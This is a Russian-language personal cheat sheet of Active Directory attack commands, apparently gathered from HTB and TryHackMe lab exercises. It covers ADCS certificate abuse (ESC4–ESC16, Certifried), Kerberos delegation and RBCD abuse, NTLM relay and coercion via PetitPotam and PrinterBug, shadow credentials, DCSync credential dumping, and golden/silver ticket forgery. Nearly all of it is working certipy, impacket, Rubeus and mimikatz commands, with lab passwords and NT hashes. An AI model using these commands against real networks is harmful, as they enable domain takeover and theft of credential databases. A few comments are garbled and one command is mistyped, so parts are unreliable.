Любой дочерний объект AD или контейнер в контейнере CN=Public Key Services,CN=Services,CN=Configuration,DC=<COMPANY>,DC=<COM> (например, контейнер шаблонов сертификатов, контейнер центров сертификации, объект NTAuthCertificates, контейнер Служб регистрации и т.д.
Certipy не указывает, что пользователи группы локальных администраторов имеют повышенные права на сервер ADCS.
Однако, как локальные администраторы, мы можем злоупотреблять ESC4, ESC7
ssh -N -f -D 1080 htb-student@10.129.205.205 HTB_@cademy_stdnt!
proxychains -q netexec smb 172.16.19.3-5 -u cken -p Superman001
proxychains -q certipy-ad find -u cken -p Superman001 -dc-ip 172.16.19.3 -vulnerable -stdout -ns 172.16.19.3 -dns-tcp
Запросить сертификат SubCa от имени администратора домена
proxychains -q certipy-ad req -u cken -p Superman001 -dc-ip 172.16.19.3 -ns 172.16.19.3 -dns-tcp -target-ip 172.16.19.5 -ca lab-WS01-CA -template SubCA -upn Administrator
Wrote private key to '13.key'
утверждаем предыдущий запрос
proxychains -q certipy-ad ca -u cken -p Superman001 -dc-ip 172.16.19.3 -ns 172.16.19.3 -dns-tcp -target-ip 172.16.19.5 -ca lab-WS01-CA -issue-request 13
Извлеките сертификат выпуска
proxychains -q certipy-ad req -u cken -p Superman001 -dc-ip 172.16.19.3 -ns 172.16.19.3 -dns-tcp -target-ip 172.16.19.5 -ca lab-WS01-CA -retrieve 13
proxychains -q certipy-ad auth -pfx administrator.pfx -username administrator -domain lab.local -dc-ip 172.16.19.3 -ns 172.16.19.3 -dns-tcp
Аутентификация с помощью сертификата администратора
proxychains4 -q certipy auth -pfx administrator.pfx -username administrator -domain lab.local -dc-ip 172.16.19.3 -ns 172.16.19.3 -dns-tcp
*** ESC 6 - Ошибка центра сертификации
certipy req -u 'blwasp@lab.local' -p 'Password123!' -dc-ip 10.129.228.236 -target LAB-DC.lab.local -ca 'lab-LAB-DC-CA' -template 'User' -upn 'administrator@lab.local'
certipy auth -pfx administrator.pfx -dc-ip 10.129.228.236
*** ESC 7 - Уязвимого контроля доступа Центра сертификации (просим серт на который нет прав и утверждаем его)
certipy find -u 'blwasp@lab.local' -p 'Password123!' -dc-ip 10.129.228.236 -vulnerable -stdout
certipy find -u 'blwasp@lab.local' -p 'Password123!' -stdout (найти SubCA )
certipy ca -u 'BlWasp@lab.local' -p 'Password123!' -ca lab-LAB-DC-CA -add-officer BlWasp (добавить ManageCertificates)
mxdelta@htb[/htb]$ certipy req -u 'BlWasp@lab.local' -p 'Password123!' -ca lab-LAB-DC-CA -template SubCA -upn Administrator (ложный запрос сертификата - сохранит кей и номер его)
certipy ca -u 'BlWasp@lab.local' -p 'Password123!' -ca lab-LAB-DC-CA -issue-request 31 (номер ключа) (выдать сертификат)
certipy req -u 'BlWasp@lab.local' -p 'Password123!' -ca lab-LAB-DC-CA -retrieve 31
*******************************************************
********если есть ManageCertificates но нет ManageCA********
если я тебе пришлю все шаблоны - ты поможешь найти нужный шаблон и написать коммнады для ESC7?
proxychains -q certipy-ad find -u jimmy -p jimmy_001 -dc-ip 172.16.19.3 -vulnerable -stdout
VPN_Users
DirectoryEmailReplication
DomainControllerAuthentication
KerberosAuthentication
EFSRecovery
EFS
WebServer
Machine
User
SubCA
Administrator
proxychains -q certipy-ad req -u jimmy -p 'jimmy_001' -ca lab-WS01-CA -dc-ip 172.16.19.5 -template VPN_Users -upn administrator@lab.local
proxychains -q certipy-ad ca -u jimmy -p 'jimmy_001' -ca lab-WS01-CA -issue-request 18 -dc-ip 172.16.19.5
proxychains -q certipy-ad req -u jimmy -p jimmy_001 -dc-ip 172.16.19.5 -ca lab-WS01-CA -retrieve 18
proxychains -q certipy-ad auth -pfx administrator.pfx -username administrator -domain lab.local -dc-ip 172.16.19.3 -dns-tcp
proxychains -q nxc smb 172.16.19.3 -u administrator -H 61208396569628a7a987d1dadb7683bb
*** ESC8 - Сертификат рилей
nxc smb DC_CONTR -u simenko -p Master -M coerce_plus -o LISTENER=свой хост ALWAYS=TRUE
sudo certipy-ad relay -target DNS_CA -ca CA_Name -template Machine
certipy-ad auth -pfx gm10.pfx -domain kuba.prom.ru -dc-ip DC_Contrl
sudo certipy-ad relay -target dc.domain.local -ca domain-DC-CA-1 -template Machine (DomainController - если атака на dc b jy hfpytcty c ADCS)
coercer coerce -l 192.168.134.24(listener_host) -t 192.168.134.12 (target) -u s.ivanov -p Venturers2004 -d domain.local -v
certipy auth -pfx ws01.pfx -dc-ip 172.16.117.3 (чтобы получить NT hash)
Затем делаем СЕРЕБРЯННЫЙ БИЛЕТ
lookupsid.py 'INLANEFREIGHT.LOCAL/WS01$'@172.16.117.3 -hashes :3d3a72af94548ebc7755287a88476460 (узнаем SID домена)
Создаем СЕРЕБРЯННЫЙ БИЛЕТ в качестве Администратора
ticketer.py -nthash 3d3a72af94548ebc7755287a88476460 -domain-sid S-1-5-21-1207890233-375443991-2397730614 -domain inlanefreight.local -spn cifs/ws01.inlanefreight.local Administrator
и заходим....
KRB5CCNAME=Administrator.ccache psexec.py -k -no-pass ws01.inlanefreight.local
*** ESC 9 Сменим почту d.baker на h.brown@scepter.htb:
bloodyAD -d scepter.htb -u a.carter -p Password123 --host dc01.scepter.htb set object d.baker mail -v h.brown@scepter.htb
certipy req -username "d.baker@scepter.htb" -hashes 18b5fb0d99e7a475316213c15b6f22ce -target "dc01.scepter.htb" -ca 'scepter-DC01-CA' -template 'StaffAccessCertificate'
certipy auth -pfx d.baker.pfx -domain scepter.htb -dc-ip $(cat /etc/hosts | grep scepter.htb | cut -d ' ' -f 1) -username h.brown
*** ESC 10
чтобы проверить esc 10 пишем
reg query "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL" /v CertificateMappingMethods
должно быть
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL
CertificateMappingMethods REG_DWORD 0x4
*** ESC 11
certipy relay -target "rpc://172.16.117.3" -ca "INLANEFREIGHT-DC01-CA" (рилеим еа CA но по RPC)
Coercer coerce -t 172.16.117.50 -l 172.16.117.30 -u 'nports' -d inlanefreight.local -v --hashes aad3b435b51404eeaad3b435b51404ee:ac49e22c2d9bf1e154aef4081300273b --always-continue
certipy auth -pfx ws01.pfx -dc-ip 172.16.117.3 (чтобы получить NT hash)
Затем делаем СЕРЕБРЯННЫЙ БИЛЕТ
lookupsid.py 'INLANEFREIGHT.LOCAL/WS01$'@172.16.117.3 -hashes :3d3a72af94548ebc7755287a88476460 (узнаем SID домена)
Создаем СЕРЕБРЯННЫЙ БИЛЕТ в качестве Администратора
ticketer.py -nthash 3d3a72af94548ebc7755287a88476460 -domain-sid S-1-5-21-1207890233-375443991-2397730614 -domain inlanefreight.local -spn cifs/ws01.inlanefreight.local Administrator
и заходим....
KRB5CCNAME=Administrator.ccache psexec.py -k -no-pass ws01.inlanefreight.local
*** ESC 16 Прочитаем атрибуты пользователя CA_SVC certipy account -u 'ca_svc' -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' -dc-ip 10.10.11.69
Поменяем UPN на administrator:
certipy account -u 'ca_svc' -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' -dc-ip 10.10.11.69 -upn 'administrator' -user 'ca_svc' update
И теперь выпишем себе тикет на нужного пользователя administrator:
certipy req -u 'ca_svc' -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' -dc-ip 10.10.11.69 -target 'DC01.fluffy.htb' -ca 'fluffy-DC01-CA' -template 'User'
Теперь важно вернуть обратно UPN на изначальный:
certipy account -u 'ca_svc' -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' -dc-ip 10.10.11.69 -upn 'ca_svc@fluffy.htb' -user 'ca_svc' update
И последним шагом достаем хеш пользователя administrator:
certipy auth -pfx administrator.pfx -username 'administrator' -domain 'fluffy.htb' -dc-ip 10.10.11.69
evil-winrm -i fluffy.htb -u administrator -H 8da83a3fa618b6e3a00e93f676c92a6e
*** Certifried (CVE-2022-26923) до мая 2022 года
смотрим [*] Certificate has no object SID???
certipy req -u 'BlWasp@lab.local' -p 'Password123!' -ca lab-LAB-DC-CA -dc-ip 10.129.228.237 -template User
узнаем контроллер домена и центр сертификации
certipy find -u 'BlWasp@lab.local' -p 'Password123!' -stdout -vulnerable
Вводим в домен новую машинну с днс контроллера домена
certipy account create -u 'blwasp@lab.local' -p 'Password123!' -dc-ip 10.129.228.134 -user NEWMACHINE -dns DC02.LAB.LOCAL
запрашиваем для нее сертиикат
pcertipy-ad req -u 'NEWMACHINE$' -p 'TwiLzWLT56X0Pd73' -ca domain-DC-CA-1 -template 'Machine' -dc-ip 192.168.134.10 -dns dc.domain.local
авторизуемся с сертификатом и получаем креды
certipy auth -pfx dc02.pfx
делаем DCSYNC
impacket-secretsdump 'LAB.LOCAL/dc02$@DC02.LAB.LOCAL' -hashes :6a5bfcba90a4ed0a8dc96448b7646c3e
а потом подключаемся
psexec.py lab.local/Administrator@172.16.19.5 -hashes aad3b435b51404eeaad3b435b51404ee:6e599ada28db049c044cc0bb4afeb73d
-
Find accaunt with delegation
findDelegation.py INLANEFREIGHT.LOCAL/carole.rose:jasmine nxc ldap 172.16.8.3 -u annette.jackson -p horses -k --trusted-for-delegation --find-delegation -
Unconstrained delegation проверка на делегирование с виндовс Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation | Select-Object Name
https://www.praetorian.com/blog/unconstrained-delegation-active-directory/ git clone -q https://github.com/dirkjanm/krbrelayx; cd krbrelayx dnstool.py -u ‘domain/user’ -p <password> -r attacker.domain.local -a add -t A -d <DCIP> <ATTACKERIP> addspn.py -u ‘domain/unconstraineduser’ -p ‘password’ –spn cifs/attacker.domain.com ‘DC.domain.com’ krbrelayx.py -s DOMAIN.LOCALunconstraineduser -p ‘password’ –t DC.domain.com Как только krbrelayx настроен, для принудительной аутентификации можно использовать такой инструмент, как Coercer или PetitPotam. Преторианец решил использовать PetitPotam в этой ситуации. Синтаксис для PetitPotam следующий: python3 printerbug.py inlanefreight.local/carole.rose:jasmine@10.129.205.35 roguecomputer.inlanefreight.local После запуска PetitPotam krbrelayx.py перехватит и ретранслирует принудительную аутентификацию и выведет файл .ccache для контроллера домена. Это может быть импортировано как переменная окружения с помощью команды export KRB5CCNAME=DC.ccache. Как только файл .ccache был установлен в переменной окружения, Praetorian смог выгрузить NT-хэш контроллера домена из NTDS.dit контроллера домена, используя Impacket's secretsdump.py, в конечном итоге поставив под угрозу домен. Неограниченное делегирование в Active Directory Синтаксис для PetitPotam Синтаксис выглядит следующим образом: secretsdump.py ‘domain.com/DC$@DC.domain.com’ -k -just-dc-user ADMIN
.\Rubeus.exe monitor /interval:5 /nowrap (Ожидание аутентификации пользователя)
.\Rubeus.exe asktgs /ticket:doIFmTCCBZWgAwIBBaE<SNIP>LkxPQ0FM /service:cifs/dc01.INLANEFREIGHT.local /ptt Использование билета для запроса другого билета
.\Rubeus.exe renew /ticket:doIFmTCCBZWgAwIBBaE<SNIP>LkxPQ0FM /ptt Обновление билета
dir \\dc01.inlanefreight.local\c$
------------------(провокация на аутентификацию контроллера на хосте)-----------------
.\SpoolSample.exe dc01.inlanefreight.local sql01.inlanefreight.local
.\Rubeus.exe monitor /interval:5 /nowrap
.\Rubeus.exe renew /ticket:doIFZjCCBWKgAwIBBaEDAgEWooIEWTCCBFVhggRRMIIETaADAgEFoRUbE0lOTEFORUZSRUl /ptt
mimikatz.exe ---> lsadump::dcsync /user:sarah.lafferty
.\Rubeus.exe asktgt /rc4:0fcb586d2aec31967c8a310d1ac2bf50 /user:sarah.lafferty /ptt (Запрос билета для любого пользователя)
dir \\dc01.inlanefreight.local\c$
-------------------S4U2self для не-контроллеров домена-----------
.\Rubeus.exe s4u /self /nowrap /impersonateuser:Administrator /altservice:CIFS/dc01.inlanefreight.local /ptt /ticket:doIFZjCCBWKgAwIBBaEDAgEWooIEWTCCB<SNIP>
ls \\dc01.inlanefreight.local\c$
-
Переделать kirbi --> ccache (может иногда понадобится renew) echo "doIF7....jCCB==" > ticket.base64 base64 -d ticket.base64 > ticket.kirbi ticketConverter.py ticket.kirbi ticket.ccache export KRB5CCNAME=$(pwd)/ticket.ccache klist
-
Constrained Delegation from Windows ( Constrained w/ Protocol Transition)
Set-ExecutionPolicy Unrestricted Import-Module .\PowerView.ps1 Get-DomainComputer -TrustedToAuth (перечисление служб для делегирования) на хосте, где настроено делегирование .\mimikatz.exe privilege::debug sekurlsa::msv exit (получение хеша ПК) (ПОЛУЧЕНИЕ TGS ДЛЯ ПОЛЬЗОВАТЕЛЯ ADMINISTRATOR ЧЕРЕЗ S4USELF) .\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:www/WS01.inlanefreight.local /altservice:HTTP /user:DMZ01$ /rc4:ff955e93a130f5bb1a6565f32b7dc127 /ptt klist Enter-PSSession ws01.inlanefreight.local (evil-winrm from windiws) ИЛИ inline-execute-assembly /home/htb-ac-1008/Rubeus.exe 'asktgt /user:web01$ /rc4:021b6a0d0e0ca246ec266bb72a481bc6 /nowrap' inline-execute-assembly /home/htb-ac-1008/Rubeus.exe 's4u /impersonateuser:carrot /msdsspn:eventsystem/srv02.child.htb.local /user:web01$ /ticket:doIE8DCCBOygAwIBBaEDAgEWoo<SNIP>sZC5odGIubG9jYWw= /nowrap' -
Constrained Delegation from Linux ( Constrained w/ Protocol Transition)
findDelegation.py INLANEFREIGHT.LOCAL/carole.rose:jasmine getST.py -spn TERMSRV/DC01 'INLANEFREIGHT.LOCAL/beth.richards:B3thR!ch@rd$' -impersonate Administrator (создать действительный TGS от произвольного пользователя для доступа к TERMSRV) export KRB5CCNAME=./Administrator.ccache psexec.py -k -no-pass INLANEFREIGHT.LOCAL/administrator@DC01 -debug -
RBCD
-
(ИЗ ВИНД0ВС) https://github.com/tothi/rbcd-attack *** Поиск RBCD
# import the PowerView module Import-Module C:\Tools\PowerView.ps1 # get all computers in the domain $computers = Get-DomainComputer # get all users in the domain $users = Get-DomainUser # define the required access rights $accessRights = "GenericWrite","GenericAll","WriteProperty","WriteDacl" # loop through each computer in the domain foreach ($computer in $computers) { # get the security descriptor for the computer $acl = Get-ObjectAcl -SamAccountName $computer.SamAccountName -ResolveGUIDs # loop through each user in the domain foreach ($user in $users) { # check if the user has the required access rights on the computer object $hasAccess = $acl | ?{$_.SecurityIdentifier -eq $user.ObjectSID} | %{($_.ActiveDirectoryRights -match ($accessRights -join '|'))} if ($hasAccess) { Write-Output "$($user.SamAccountName) has the required access rights on $($computer.Name)" } } }
*** Использование PowerMad для создания поддельного компьютера
https://github.com/Kevin-Robertson/Powermad
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount HACKTHEBOX -Password $(ConvertTo-SecureString "Hackthebox123+!" -AsPlainText -Force)
*** Затем мы добавляем эту учетную запись компьютера в список доверия целевого компьютера, что возможно, поскольку у злоумышленника есть GenericAll ACLна этом компьютере (в данном случае на dc01):
Import-Module .\PowerView.ps1
$ComputerSid = Get-DomainComputer HACKTHEBOX -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
$credentials = New-Object System.Management.Automation.PSCredential "INLANEFREIGHT\carole.holmes", (ConvertTo-SecureString "Y3t4n0th3rP4ssw0rd" -AsPlainText -Force)
Get-DomainComputer DC01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Credential $credentials -Verbose
*** Получим компьютерные хэши с помощью Rubeus
.\Rubeus.exe hash /password:Hackthebox123+! /user:HACKTHEBOX$ /domain:inlanefreight.local
*** Теперь, когда у нас есть хэш пароля нашей новой учетной записи компьютера, мы запрашиваем билет TGS для сервиса. cifs/dc01.inlanefreight.local, что позволяет нам получить доступ к цели (Мы также можем использовать host,RPCSS,wsman,http,ldap,krbtgt,winrm)
.\Rubeus.exe s4u /user:HACKTHEBOX$ /rc4:CF767C9A9C529361F108AA67BF1B3695 /impersonateuser:administrator /msdsspn:cifs/dc01.inlanefreight.local /ptt
klist
ls \\dc01.inlanefreight.local\c$
*** другой способ
C:\Tools\mimikatz_trunk\x64\mimikatz.exe
mimikatz # token::elevate
mimikatz # lsadump::secrets ----- Запросим пароль учетки имеюзей право делегироватся
Затем просим TGT
kekeo # tgt::ask /user:svcIIS /domain:za.tryhackme.loc /password:redacted
Затем просим TGS
kekeo # tgs::s4u /tgt:TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi /user:t1_trevor.jones(админ на нужной такчуке) /service:http/THMSERVER1.za.tryhackme.loc
tgs::s4u /tgt:TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi /user:t1_trevor.jones /service:wsman/THMSERVER1.za.tryhackme.loc
Затем импортируем TGS через mimikatz
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # kerberos::ptt TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_wsman~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi
mimikatz # kerberos::ptt TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_http~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi
и входим
И заходим через wsman
New-PSSession -ComputerName thmserver1.za.tryhackme.loc
Enter-PSSession -ComputerName thmserver1.za.tryhackme.loc
-
(RBCD from LINUX) *** дОБАВЛЯЕМ КОМПУТЕР В ДОМЕН
addcomputer.py -computer-name 'HACKTHEBOX$' -computer-pass 'Hackthebox123!' -dc-ip 10.129.205.35 inlanefreight.local/carole.holmes:Y3t4n0th3rP4ssw0rd*** Затем нам необходимо добавить эту учетную запись в список доверия целевого компьютера (DC01), что возможно, поскольку carole.holmes имеет GenericAll ACLна этом компьютере Нуежен тот кто влияет на конечный хост (DC, SQL, HTTP) потому что нужно добавить делегата в ACL хоста
impacket-rbcd -dc-ip dc01 -delegate-to DC01$ -delegate-from HACKTHEBOX$ inlanefreight.local/carole.holmes:Y3t4n0th3rP4ssw0rd -action write ИЛИ python3 rbcd.py -dc-ip 10.129.205.35 -t DC01 -f HACKTHEBOX inlanefreight\\carole.holmes:Y3t4n0th3rP4ssw0rd или Получаем TGT TGS self and Proxy. Запрашивает тикет от имени фейкового хоста с ипмперсонификацией далее getST.py -spn cifs/DC01.inlanefreight.local -impersonate Administrator -dc-ip 10.129.205.35 inlanefreight.local/HACKTHEBOX:'Hackthebox123!' getST.py -spn cifs(ldap)/sql.domain.local -impersonate Administrator -dc-ip 192.168.134.10 domain.local/HACK:Password123*** и логинимся с тикетом
export KRB5CCNAME=administrator.ccache psexec.py -k -no-pass dc01.inlanefreight.local Psexec.py -k -no-pass sql.domain.local -dc-ip 192.168.134.11 wmiexec.py DC01.INLANEFREIGHT.LOCAL -k -no-pass или dcsync-
(RBCD from LINUX через lay) по умолчанию компьютер может редактировать свои собственные msDS-AllowedToActOnBehalfOfOtherIdentityатрибут!!!
sudo layx.py -t ldap://172.16.117.3 -smb2support --no-da --no-acl --add-computer 'plaintext$' (добавляем компутер в домен) sudo layx.py -t ldap://172.16.117.3 -smb2support --escalate-user 'plaintext$' --no-dump -debug (повышение привелегий) crackmapexec smb 172.16.117.3 -u anonymous -p '' -M drop-sc -o URL=https://172.16.117.30/testing FILENAME=@secret (включаем webdaw) crackmapexec smb 172.16.117.0/24 -u plaintext$ -p o6@ekK5#rlw2rAe -M webdav (проверяем где включился) sudo python3 Responder.py -I ens192 (для коонтроля smb and http = off) sudo layx.py -t ldaps://INLANEFREIGHT\\'SQL01$'@172.16.117.3 --delegate-access --escalate-user 'plaintext$' --no-smb-server --no-dump (добавляем RBCD на SQL01$) python3 printerbug.py inlanefreight/plaintext$:'o6@ekK5#rlw2rAe'@172.16.117.60 LINUX01@80/print (вызывае аутентификацию -- LINUX01@80/print -то что ловится Responderom) findDelegation.py INLANEFREIGHT.LOCAL/administrator -hashes aad3b435b51404eeaad3b435b51404ee:d1e532fdcdea711011a6b13bcf390401 (проверяем сработало ли) getST.py -spn cifs/sql01.inlanefreight.local -impersonate Administrator -dc-ip 172.16.117.3 "INLANEFREIGHT"/"plaintext$":"xw{4tWh4sT^+q-$" (заказываем TGS) KRB5CCNAME=Administrator.ccache psexec.py -k -no-pass sql01.inlanefreight.local (Заходим)
-
Sudo certipy-ad auth -pfx sql.pfx -domain domain.local -dc-ip 192.168.134.10 (DC) -ldap-shell
set_rbcd SQL$ HACK$
перед этим создаем фейковый хост
addcomputer.py -computer-name 'HACKTHEBOX$' -computer-pass Hackthebox123+\! -dc-ip 10.129.205.35 inlanefreight.local/carole.holmes
**** RBCD из Linux, когда MachineAccountQuota установлен на 0 но пользователь с правами на изменение acl получаем хеш пароля pypykatz crypto nt 'Y3t4n0th3rP4ssw0rd'
-
DCSYNC
Rubeus triage Rubeus dump билет в файл и убираем пробелы
затем
[IO.File]::WriteAllBytes("C:\Users\spirit\Desktop\DC.kirbi", [Convert]::FromBase64String("Base64")) (путь только полный!!!! а base 64 вставляем билет без пробелов)
kerberos::ptt DC.kirbi
lsadump::dcsync /domain:domain.local /user:Administrator
или
nano ticket.kirbi_b64
base64 -d ticket.kirbi_b64 > ticket_real.kirbi
ticketConverter.py ticket_real.kirbi ticket.ccache
export KRB5CCNAME=ticket.ccache
crackmapexec smb dc.domain.local -k --use-kcache --ntds
или KRB5CCNAME='DomainAdmin.ccache' secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DomainController.domain.local' @'DomainController.domain.local' secretsdump.py -k -no-pass -dc-ip '10.129.205.35' @'dc01.inlanefreight.local'
nxc smb 192.168.0.100 -u 'max' -p 'P@ssword123' -M ntlm_reflection
1. Проверьте статус подписи SMB и уязвимости, связанные с принуждением: подпись smb должна быть отключена
nxc smb <target-ip> -u scarter -p Passw0rd -M coerce_plus
2. Запустите SMB Relay Listener
impacket-ntlmrelayx -t <target-ip> -smb2support
3. Зарегистрируйте DNS-запись
Мы создаем специальную DNS-запись, чтобы обмануть Windows и заставить ее думать, что она взаимодействует сама с собой:
python3 dnstool.py -u 'shield.local\scarter' -p 'Passw0rd' -r 'localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' -a add -d <my-ip> <dc-ip> (-dns-ip <dc-ip>)
4. Принудительное выполнение команд на рабочей станции с помощью NetExec или PetitPotam
Теперь мы используем NetExec or PetitPotam для принудительного выполнения на хосте-жертве исходящей аутентификации NTLM с использованием нашего поддельного DNS-имени:
nxc smb <target-ip> -u scarter -p Passw0rd -M coerce_plus -o METHOD=PetitPotam LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
proxychains nxc smb DC01 -u svc_sql -p 'jkhnrjk123!' -M coerce_plus -o LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA ALWAYS=TRUE
5. Сброс SAM после аутентификации SYSTEM
После успешного принудительного применения (аутентификации) мы извлекаем токен SYSTEM и сбрасываем SAM
в окне
impacket-ntlmrelayx -t <target-ip> -smb2support
Запускаем респондер и убираем в нем smb = off and http = off
python3 Responder.py -I ens192
Запускаем ntlmrelayx
ntlmrelayx.py -t mssql://172.16.117.60 -smb2support -socks
ntlmrelayx.py -t all://172.16.117.60 -smb2support -socks
ntlmrelayx.py -tf hosts.txt -smb2support -socks
proxychains -q mssqlclient.py INLANEFREIGHT/nports@172.16.117.60 -windows-auth -no-pass
*** на ldap
sudo ntlmrelayx.py -t ldap://172.16.117.3 -smb2support --no-da --no-acl --lootdir ldap_dump (Дамп домена)
sudo ntlmrelayx.py -t ldap://172.16.117.3 -smb2support --no-da --no-acl --add-computer 'plaintext$' (создание учетной записи компутера)
sudo ntlmrelayx.py -t ldap://172.16.117.3 -smb2support --escalate-user 'plaintext$' --no-dump -debug (Повышение привилегий через злоупотребление ACL)
*** WEB DAV
crackmapexec smb 172.16.117.3 -u anonymous -p '' -M drop-sc -o URL=https://172.16.117.30/testing SHARE=Testing FILENAME=@secret (включаем вебдав но почему то на 172.16.117.60)
crackmapexec smb 172.16.117.60 -u plaintext$ -p o6@ekK5#rlw2rAe -M webdav (проверка включения web DAV)
python3 printerbug.py inlanefreight/plaintext$:'o6@ekK5#rlw2rAe'@172.16.117.60 SUPPORTPC@80/print (использование printer bug для web dav)
sudo python3 Responder.py -I ens192
*** Printer BUG
https://github.com/dirkjanm/krbrelayx
python3 printerbug.py inlanefreight/plaintext$:'o6@ekK5#rlw2rAe'@172.16.117.3 172.16.117.30 (откуда и куда)
python3 Responder.py -I ens192
*** Petit Potam
https://github.com/ly4k/PetitPotam
python3 PetitPotam.py 172.16.117.30(мой) 172.16.117.3(контроллер) -u 'plaintext$' -p 'o6@ekK5#rlw2rAe' -d inlanefreight.local (через smb)
python3 PetitPotam.py WIN-MMRQDG2R0ZX@80/files 172.16.117.60 -u 'plaintext$' -p 'o6@ekK5#rlw2rAe' (через webDAV)
sudo python3 Responder.py -I ens192
*** Coercer
Coercer coerce -t 172.16.117.50 -l 172.16.117.30 -u 'administrator' -d inlanefreight.local -v --hashes aad3b435b51404eeaad3b435b51404ee:d1e532fdcdea711011a6b13bcf390401 --always-continue
sudo python3 Responder.py -I ens192
*** * (RBCD from LINUX через ntlmrelay) по умолчанию компьютер может редактировать свои собственные msDS-AllowedToActOnBehalfOfOtherIdentityатрибут!!!
sudo ntlmrelayx.py -t ldap://172.16.117.3 -smb2support --no-da --no-acl --add-computer 'plaintext$' (добавляем компутер в домен)
sudo ntlmrelayx.py -t ldap://172.16.117.3 -smb2support --escalate-user 'plaintext$' --no-dump -debug (повышение привелегий)
crackmapexec smb 172.16.117.3 -u anonymous -p '' -M drop-sc -o URL=https://172.16.117.30/testing FILENAME=@secret (включаем webdaw)
crackmapexec smb 172.16.117.0/24 -u plaintext$ -p o6@ekK5#rlw2rAe -M webdav (проверяем где включился)
sudo python3 Responder.py -I ens192 (для коонтроля smb and http = off)
sudo ntlmrelayx.py -t ldaps://INLANEFREIGHT\\'SQL01$'@172.16.117.3 --delegate-access --escalate-user 'plaintext$' --no-smb-server --no-dump (добавляем RBCD на SQL01$)
python3 printerbug.py inlanefreight/plaintext$:'o6@ekK5#rlw2rAe'@172.16.117.60 LINUX01@80/print (вызывае аутентификацию -- LINUX01@80/print -то что ловится Responderom)
findDelegation.py INLANEFREIGHT.LOCAL/administrator -hashes aad3b435b51404eeaad3b435b51404ee:d1e532fdcdea711011a6b13bcf390401 (проверяем сработало ли)
getST.py -spn cifs/sql01.inlanefreight.local -impersonate Administrator -dc-ip 172.16.117.3 "INLANEFREIGHT"/"plaintext$":"xw{4tWh4sT^+q-$" (заказываем TGS)
KRB5CCNAME=Administrator.ccache psexec.py -k -no-pass sql01.inlanefreight.local (Заходим)
*** SHADOW CREDENTIALS (через ntlm relay)
sudo python3 Responder.py -I ens192
sudo ntlmrelayx.py -t ldap://INLANEFREIGHT\\CJAQ@172.16.117.3 --shadow-credentials --shadow-target jperez --no-da --no-dump --no-acl --no-smb-server (Ловим CJAQ и заставляем его отдать сертификатShadowCredentials над jperz)
python3 gettgtpkinit.py -cert-pfx rbnYdUv8.pfx -pfx-pass NRzoep723H6Yfc0pY91Z INLANEFREIGHT.LOCAL/jperez jperez.ccache (Сохраняем TGT из сертификата)
KRB5CCNAME=jperez.ccache evil-winrm -i dc01.inlanefreight.local -r INLANEFREIGHT.LOCAL
у 14 есть разрешение на админство от 12
sudo impacket-ntlmrelayx -t smb://192.168.134.14 --delegate -smb2support
на своем хосте
proxychains coercer coerce -l 192.168.134.24 -t 192.168.134.12 -u s.ivanov -p DgdCQTghHGA2ad -d domain.local
на своем хосте запускаем ntlmrelay м слушаем серевер 1 ----- сервер 2 админ для сервер 1
python3.9 /opt/impacket/examples/ntlmrelayx.py -smb2support -t smb://"THMSERVER1 (IP)" -debug
на компроментате запускаем
C:\Tools\>SpoolSample.exe THMSERVER2.za.tryhackme.loc (IP) "Attacker IP (мой 3 IP)"
.\Rubeus.exe tgtdeleg /nowrap
$ base64 ticket.kirbi.b64 -d > ticket.kirbi
$ impacket-ticketConverter ticket.kirbi ticket.ccache
$ export KRB5CCNAME=ticket.ccache
$ impacket-secretsdump licordebellota.htb/pivotapi\$@pivotapi.licordebellota.htb -dc-ip 10.10.10.240 -no-pass -k
# TGT Unconstrained delegation
(Нужен rubeus и mimikatz и printspooler)
------Нужен скомпроментированный сервер службы sql или еще чего и админ права на нем------
1. Получить TGT привелигированного юзера или компутера
.\Rubeus.exe monitor /interval:5 /nowrap
.\SpoolSample.exe dc01.inlanefreight.local sql01.inlanefreight.local
2. Обновляем его в память
.\rubeus.exe renew /ticket:<............> /ptt
3. Мимикатзом делаем DCSYNC
lsadump::dcsync /user:Administrator
4. Крафтим TGT
.\Rubeus asktgt /rc4:hashhhh /user:Administrator /ptt
5. Юзаем
dir \\dc01.domen.local\c$\flag.txt
6. Если уже сть билеты в памяти то можно просто
./rubeus.exe dump /nowrap
И ЗАТЕМ
.\rubeus.exe renew /ticket:<............> /ptt
***** через мимикатз (Windows)
нужны..
Domain Name
whoami /all
Domain SID
Import-Module .\PowerView.ps1
Get-DomainSID
whoami /all
KRBTGT's hash
в мимкатз --> .\mimikatz.exe --> lsadump::dcsync /user:krbtgt /domain:inlanefreight.local
Username to Impersonate ---> administrator
kerberos::golden /domain:inlanefreight.local /user:Administrator /sid:S-1-5-21-2974783224-3764228556-2640795941 /rc4:810d754e118439bab1e1d13216150299 /ptt
